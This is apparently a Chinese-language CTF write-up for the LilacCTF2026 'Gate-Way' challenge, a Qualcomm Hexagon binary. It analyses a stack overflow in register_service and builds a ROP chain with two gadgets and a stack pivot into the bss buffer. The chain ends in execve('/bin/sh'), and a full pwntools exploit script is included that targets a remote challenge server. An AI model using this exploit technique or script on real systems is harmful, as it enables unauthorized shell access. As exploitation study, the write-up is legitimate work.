第一次见这种架构的,大佬说不常见架构的题不会太难,主要是指令集有学习成本,记录一下

1 程序分析

高通 DSP,32 位没开 PIE

1
2
3
4
5
6
7
8
9
(pwn)secreu@Vanilla:~/code/LilacCTF2026/Gate-Way$ file pwn
pwn: ELF 32-bit LSB executable, QUALCOMM DSP6, version 1 (SYSV), statically linked, stripped
(pwn)secreu@Vanilla:~/code/LilacCTF2026/Gate-Way$ checksec --file=pwn
[*] '/home/secreu/code/LilacCTF2026/Gate-Way/pwn'
Arch: em_qdsp6-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)

需要结合插件才能反编译

推荐使用 Ghidra,可以看反汇编的 C 伪代码,IDA 只能看汇编

定位到 main,给了 2 个菜单,乍一看像是堆题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void main(void)
{
int iVar1;
sbyte local_c [2];
sbyte local_a [2];

LAB_00021318:
do {
menu();
fflush(&DAT_00047540);
iVar1 = read(0,local_a,2);
if (iVar1 < 1) {
LAB_0002147c:
puts("Bye\n");
fflush(&DAT_00047540);
return;
}
if ((local_a[0] == '1') == true) {
do {
manage_menu();
fflush(&DAT_00047540);
iVar1 = read(0,local_c,2);
if (iVar1 < 1) goto LAB_0002147c;
if ((local_c[0] == '1') == true) {
iVar1 = register_service();
}
else if ((local_c[0] == '2') == true) {
iVar1 = delete_service();
}
else {
if ((local_c[0] == '3') != true) goto LAB_00021318;
iVar1 = show_service();
}
if ((iVar1 == -1) == true) goto LAB_0002147c;
} while( true );
}
if ((local_a[0] == '2') != true) goto LAB_0002147c;
memset(&DAT_000475f0,0,0x400);
puts("Reset success\n");
} while( true );
}

register_service 中存在很明显的缓冲区溢出,readline 接收输入,然后找到 |,找到了并且前面有内容,说明输入合规。然后检查 bss 段 0x475F0,将输入复制过去

注意这里的 strchr 检测到 \x00 直接返回,所以不能在 | 前有 \x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
undefined4 register_service(void)
{
int iVar1;
int iVar2;
int iVar3;
undefined1 auStack_70 [100];
undefined4 local_c;

puts("Input ip:port|description\n");
puts("Example: \n");
puts("172.16.0.1:7777|Location Lookup Service\n");
puts("<<");
fflush(&DAT_00047540);
iVar1 = read_line(auStack_70);
if ((iVar1 == -1) == true) {
local_c = 0xffffff7f;
}
else {
iVar2 = strchr(auStack_70,L'|');
if ((iVar2 == 0) == true) {
puts("Parse Service error\n");
local_c = 0xffffff7f;
}
else {
iVar2 = strlen(&DAT_000475f0);
iVar3 = strlen(auStack_70);
if (0x400U < (uint)(iVar2 + iVar3) == true) {
puts("Service list is full\n");
local_c = 0xffffff7f;
}
else {
memcpy(iVar2 + 0x75f0,auStack_70,iVar1);
*(undefined4 *)(&DAT_000475f0 + iVar2 + iVar1) = L';';
local_c = 0;
}
}
}
return local_c;
}

readline 函数读取到 \n 才会结束,这导致我们可以溢出 auStack_70,也就是 FP - 0x68

1
2
00021010 00 f3 fe bf     { r0 = add(FP,-0x68) }
00021014 8e ff ff 5b { call read_line }

2 漏洞利用

所以这道题就是找 gadget,构造系统调用执行 execve('/bin/sh', 0, 0)

Hexagon 的系统调用是 trap0,在 IDA 和 Ghidra 反编译显示的汇编指令会有所不同,直接用 Search Text 搜索即可

找到第一个用来执行系统调用的 gadget。r0r1r2 是参数,r6 是系统调用号,execve 对应 221

1
2
3
4
5
6
7
.text:000214F4 00 C0 70 70                 { r0 = r16 }
.text:000214F8 01 C0 71 70 { r1 = r17 }
.text:000214FC 02 C0 72 70 { r2 = r18 }
.text:00021500 06 C0 73 70 { r6 = r19 }
.text:00021504 04 C0 00 54 { trap0(#1) }
.text:00021508 00 C0 00 78 { r0 = #0 }
.text:0002150C 1E C0 1E 96 { dealloc_return }

然后要找 gadget,将我们能写的栈上数据赋值给 r16r17r18r19。这里找到第二条 gadget,memd 是取内存 64 字节,r17:r16 表示 r17 高 32 位,r16 取低 32 位,var_8 为 -0x8,var_10 为 -0x10

1
2
3
.text:000217E4 05 1E                       { r17:16 = memd(sp + #0x10+var_8)
.text:000217E6 0C 3E r19:18 = memd(sp + #0x10+var_10) }
.text:000217E8 1E C0 1E 96 { dealloc_return }

最后是 dealloc_return,其作用类似于 leave ; ret

Hexagon 会对保存的返回地址做异或加密,即 saved LR = LR XOR FRAMEKEY,默认情况下 FRAMEKEY = 0

首先用缓冲区溢出覆盖 saved LR,执行第二条 gadget 准备参数

然后由于 dealloc_return 必然造成 SP = saved FP 栈迁移,我们可以利用程序会将输入复制到 bss 段上 0x475F0 的特性,覆盖 saved FP,栈迁移到 bss 段上执行第一条 gadget 执行系统调用

这里 paylaod 先用 16 字节 AAAAAAAAAAAAAAA| 绕过了输入校验,所以栈迁移到 0x475F0 + 0x10

1
2
3
payload = b'A' * 15 + b'|' + p32(service_list + 0x10) + p32(gadget_syscall) + b'/bin/sh\x00'
payload = payload.ljust(0x68, b'\x00')
payload += p32(service_list + 0x10) + p32(gadget_setregs) + p32(0) + p32(221) + p32(service_list + 0x18) + p32(0)

3 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

elf = ELF("./pwn")
context.log_level = 'debug'

def exploit():
service_list = 0x475f0

# .text:000214F4 00 C0 70 70 { r0 = r16 }
# .text:000214F8 01 C0 71 70 { r1 = r17 }
# .text:000214FC 02 C0 72 70 { r2 = r18 }
# .text:00021500 06 C0 73 70 { r6 = r19 }
# .text:00021504 04 C0 00 54 { trap0(#1) }
# .text:00021508 00 C0 00 78 { r0 = #0 }
# .text:0002150C 1E C0 1E 96 { dealloc_return }
gadget_syscall = 0x214F4

# .text:000217E4 05 1E { r17:16 = memd(sp + #0x10+var_8)
# .text:000217E6 0C 3E r19:18 = memd(sp + #0x10+var_10) }
# .text:000217E8 1E C0 1E 96 { dealloc_return }
gadget_setregs = 0x217E4

io.sendlineafter(b"3. Exit.\n", b"1")
io.sendlineafter(b"3. Show Service.\n", b"1")

payload = b'A' * 15 + b'|' + p32(service_list + 0x10) + p32(gadget_syscall) + b'/bin/sh\x00'
payload = payload.ljust(0x68, b'\x00')
payload += p32(service_list + 0x10) + p32(gadget_setregs) + p32(0) + p32(221) + p32(service_list + 0x18) + p32(0)
io.sendlineafter(b"<<", payload)

io.interactive()

if __name__ == "__main__":
if args.REMOTE:
io = remote("1.95.71.133", 8888, timeout=10)
else:
# io = process(['./qemu-hexagon', elf.path])
io = process([
'./qemu-hexagon',
'-L', 'libc',
'-d', 'in_asm,exec,cpu,nochain',
'-dfilter', '0x214F4+0x1c',
'-strace',
'-D', './log',
elf.path
])

exploit()